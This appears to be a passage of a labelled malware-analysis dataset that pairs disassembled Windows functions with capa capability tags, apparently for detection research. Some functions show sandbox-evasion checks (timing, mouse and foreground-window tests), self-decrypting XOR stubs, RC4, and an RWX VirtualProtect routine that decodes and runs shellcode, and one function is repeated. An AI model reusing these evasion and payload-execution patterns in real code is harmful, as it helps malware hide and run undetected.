joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100410b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100414a0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x102b8004], 0
jne 0x100410ed
cmp dword [0x102b8000], 0
je 0x100410ed
mov eax, dword [0x102b8000]
mov dword [0x102b8004], eax
cmp dword [0x102b8004], 0
je 0x1004116a
mov ecx, dword [0x102b8004]
cmp dword [ecx + 8], 0
je 0x1004116a
mov edx, dword [0x102b8004]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1004116a
mov ecx, dword [0x102b8004]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1004116a
mov eax, dword [0x102b8004]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10041139
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10041140
xor eax, eax
jmp 0x10041289
mov ecx, dword [0x102b8004]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10046460
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10041289
mov edx, dword [0x102b8000]
mov dword [0x102b8004], edx
jmp 0x10041186
mov eax, dword [0x102b8004]
mov ecx, dword [eax + 4]
mov dword [0x102b8004], ecx
cmp dword [0x102b8004], 0
je 0x100411c6
cmp dword [0x102b8004], 0
je 0x100411c4
mov edx, dword [0x102b8004]
cmp dword [edx + 8], 0
je 0x100411c4
mov eax, dword [0x102b8004]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x100411c4
mov edx, dword [0x102b8004]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x100411c4
jmp 0x1004111e
jmp 0x10041178
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10041290
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10041287
mov eax, dword [ebp - 0x18]
mov dword [0x102b8004], eax
mov ecx, dword [0x102b8004]
mov dword [ecx], 0x52727464
mov edx, dword [0x102b8004]
mov dword [edx + 8], 0
mov eax, dword [0x102b8004]
mov ecx, dword [0x102b8000]
mov dword [eax + 4], ecx
mov edx, dword [0x102b8004]
mov dword [0x102b8000], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x102b8004]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10041257
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10041277
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1004124e
mov eax, dword [0x102b8004]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1004111e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10053ba4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10053be3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10053be3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10053be3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10053be3
cmp dword [ecx + 0x74], 0xe
jbe 0x10053be3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10057672
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1006c41c
push 0x1006c414
push str.FlsAlloc
push 0x1f
call fcn.100574fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100576a6
push dword [ebp + 8]
mov ecx, esi
call dword [0x10068264]
call esi
jmp 0x100576ac
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100576f0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1006c42c
push 0x1006c424
push str.FlsGetValue
push 0x21
call fcn.100574fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10057727
push dword [ebp + 8]
mov ecx, esi
call dword [0x10068264]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1005772f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1006c434
push 0x1006c42c
push str.FlsSetValue
push 0x22
call fcn.100574fa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10057769
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10068264]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1005a3e2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x102b88f8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1005a422
cmp byte [ebx], 0xa
jne 0x1005a422
or byte [edi + eax + 0x28], 4
jmp 0x1005a427
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1005a526
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1005a509
inc eax
cmp dl, 0xd
je 0x1005a453
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1005a479
cmp eax, ecx
jae 0x1005a487
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1005a43b
jmp 0x1005a526
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005a504
cmp dword [ebp - 0x10], 0
je 0x1005a504
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x102b88f8]
test byte [eax + edi + 0x28], 0x48
je 0x1005a4de
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1005a4c9
mov byte [esi], dl
jmp 0x1005a4da
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x102b88f8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1005a526
cmp byte [ebp - 1], 0xa
jne 0x1005a4ed
cmp esi, ebx
jne 0x1005a4ed
mov byte [esi], 0xa
jmp 0x1005a525
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1005ae31
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1005a526
mov byte [esi], 0xd
jmp 0x1005a525
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x102b88f8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1005a523
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1005a526
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1005a52f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x102b88f8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1005a575
cmp word [ebx], dx
jne 0x1005a575
or byte [eax + edi + 0x28], 4
jmp 0x1005a57a
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1005a6dd
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1005a6bd
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1005a5bb
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1005a5f1
cmp eax, edx
jae 0x1005a5ff
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1005a596
jmp 0x1005a6dd
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005a6b8
cmp dword [ebp - 0x18], 0
je 0x1005a6b8
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x102b88f8]
test byte [eax + edi + 0x28], 0x48
je 0x1005a68e
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1005a652
mov word [esi], cx
jmp 0x1005a689
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x102b88f8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x102b88f8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x102b88f8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1005a6dd
pop eax
cmp word [ebp - 4], ax
jne 0x1005a69e
cmp esi, ebx
jne 0x1005a69e
mov word [esi], ax
jmp 0x1005a6da
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1005ae31
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1005a6dd
push 0xd
pop eax
jmp 0x1005a699
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x102b88f8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1005a6d7
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1005a6dd
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1005d08b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005d128
push ebx
push esi
call fcn.1005d054
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1005be50
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005d0d5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d127
push edi
push eax
call fcn.100589e1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005d0f5
call fcn.1005721b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d126
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1005be50
add esp, 0x20
test eax, eax
jne 0x1005d114
push edi
call fcn.1005721b
jmp 0x1005d11c
push ebx
call fcn.1005721b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10060423
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100551e7
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10060492
cmp esi, dword [ebp - 4]
je 0x1006048d
cmp dword [ebp + 0xc], 0
je 0x1006048d
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1006046a
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1005ff75
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10060494
xor eax, eax
inc eax
jmp 0x10060494
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x100604f9
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x102b7040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100551e7
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100551e7
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10060570
cmp word [ecx], dx
je 0x10060570
mov eax, dword [0x1006cb04]
push edi
dec eax
push eax
push 0x1006c9f0
call fcn.10060498
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100605e3
cmp word [eax], dx
je 0x100605e3
mov eax, dword [edi]
test eax, eax
je 0x10060594
cmp word [eax], dx
je 0x10060594
lea eax, [ebp - 0x10]
push eax
call fcn.1005fe7b
jmp 0x1006059d
lea eax, [ebp - 0x10]
push eax
call fcn.1005ff16
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1006060d
mov eax, dword [0x1006c9ec]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1006c6e0
call fcn.10060498
add esp, 0xc
test al, al
je 0x1006060d
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100605d8
cmp word [eax], di
je 0x100605d8
lea eax, [ebp - 0x10]
push eax
call fcn.1005fe7b
pop ecx
jmp 0x1006060f
lea eax, [ebp - 0x10]
push eax
call fcn.1005ff16
jmp 0x100605d5
mov eax, dword [edi]
test eax, eax
je 0x100605fa
cmp word [eax], dx
je 0x100605fa
lea eax, [ebp - 0x10]
push eax
call fcn.1005fe30
pop ecx
jmp 0x1006060d
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100606d8
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1006031d
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100606d8
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100606d8
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100606d8
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10060665
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1005786f
test ebx, ebx
je 0x100606d3
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1005786f
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100606d8
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100606d8
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1006356c
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100606da
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10044642
leave
ret
Function at 0x100632a1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1006321d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10063410
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10063410
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100633c5
jg 0x100632fd
test eax, eax
je 0x100633bb
push 1
push 0x1000
call fcn.10056d89
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10063320
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100633b2
push 0x8000
push ebx
call fcn.1006314e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10063349
jg 0x10063344
cmp ecx, 0x1000
jb 0x10063349
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10058525
add esp, 0x10
cmp eax, 0xffffffff
je 0x1006338e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10063344
jl 0x10063375
test ecx, ecx
jne 0x10063336
push dword [ebp - 0xc]
push ebx
call fcn.1006314e
push esi
call fcn.1005721b
add esp, 0xc
xor ebx, ebx
jmp 0x1006341e
cmp byte [edi + 0x24], 0
je 0x100633a5
cmp dword [edi + 0x20], 5
jne 0x100633a5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100633b0
mov ebx, dword [edi + 0x18]
jmp 0x100633b2
xor ebx, ebx
push esi
call fcn.1005721b
pop ecx
jmp 0x1006341e
test ecx, ecx
jg 0x10063387
jl 0x100633c5
test eax, eax
jae 0x10063387
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1005ae31
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100633e5
cmp byte [edi + 0x1c], 0
je 0x10063387
jmp 0x10063416
push ebx
call fcn.1005e2c2
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10063387
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1006341e
cmp byte [edi + 0x1c], 0
je 0x1006341b
mov ebx, dword [edi + 0x18]
jmp 0x1006341e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1005ae31
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100651c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100651ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100651ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x475010
Capabilities:
Get graphical window text

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
xor ebx, ebx
push edi
mov dword [esp + 0xc], ebx
cmp dword [esi], 0x575658
je 0x47502c
call dword [sym.imp.MSVBVM60.DLL___vbaFailedFriend]
cmp dword [esi + 0x3c], ebx
je 0x47508f
mov edi, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov eax, dword [esi]
lea ecx, [esp + 0xc]
push ecx
push edi
push edx
push esi
call dword [eax + 0xbb0]
cmp word [esp + 0xc], bx
je 0x47507f
mov eax, dword [edi]
mov ecx, dword [esi + 0x3c]
push 0xfffff000
push eax
push 0x102c
push ecx
call dword [sym.imp.USER32.DLL_SendMessageA]
shr eax, 0xd
mov edx, dword [esp + 0x20]
and eax, 1
neg eax
pop edi
mov word [edx], ax
pop esi
xor eax, eax
pop ebx
pop ecx
ret 0x10
mov eax, dword [esp + 0x20]
pop edi
pop esi
mov word [eax], bx
xor eax, eax
pop ebx
pop ecx
ret 0x10
mov ecx, dword [esp + 0x20]
pop edi
pop esi
xor eax, eax
mov word [ecx], bx
pop ebx
pop ecx
ret 0x10
Function at 0x408954
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop edx
call fcn.00408982
mov ebx, 0x997b3aa0
xor dword [edi], edx
mov ecx, ecx
add edi, 1
and ebx, ecx
mov ecx, 0x1a366261
cmp edi, esi
jne fcn.00408954
sub ebx, ebx
mov ecx, 0xa682d597
ret

Function at 0x401000
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
xor eax, eax
jmp 0x401064
mov edi, edi
push ebp
mov ebp, esp
jmp 0x4010cb
sub esp, 0x20
mov eax, dword [0x404008]
cmp eax, 0
jne 0x40114f
mov eax, dword [0x40400c]
jmp 0x401145
cmp eax, 0
jne 0x40114f
jmp 0x4012f4
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
jmp 0x4011be
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x40114f
mov dword [ebp - 0x14], eax
jmp 0x401239
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x40114f
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x40114f
mov eax, dword [0x404008]
cmp eax, 0
je 0x4012d1
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
jmp 0x4012ae
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401268
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x40114f
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401268
mov eax, dword [0x40400c]
cmp eax, 0
je 0x4012f4
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x4012d1
cmp eax, dword [ebp - 0x14]
je 0x4012d1
push dword [0x404000]
mov eax, 0x40401a
mov ebx, 0x404302
sub ebx, eax
jmp 0x401316
push ebx
push 0x40401a
jmp section..htext

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x220]
mov ebp, 0x100
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x14], cl
cdq
idiv dword [esp + 0x228]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x14]
movzx eax, byte [esp + esi + 0x114]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x402408
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + esi + 0x14], al
inc esi
mov byte [esp + ebx + 0x14], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x220], ebx
jle 0x402494
inc edi
and edi, 0x800000ff
jns 0x402437
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x14]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402450
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + edi + 0x14], al
push ecx
mov byte [esp + ebx + 0x18], cl
mov ecx, 0x42e098
mov dword [esp], 0x40495270
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x18]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x10]
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x220]
jl 0x402426
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040614a
add esp, 0x208
ret

Function at 0x403062
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x40309f
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.DLL_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403070
pop edi
pop esi
ret

Function at 0x403d0a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x47b238
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push edi
push esi
call fcn.00403062
pop ecx
pop ecx
call fcn.00403048
mov edx, 0x47b238
add edx, 0x188
mov esi, 0x42f038
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x4068f7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x406936
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406936
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
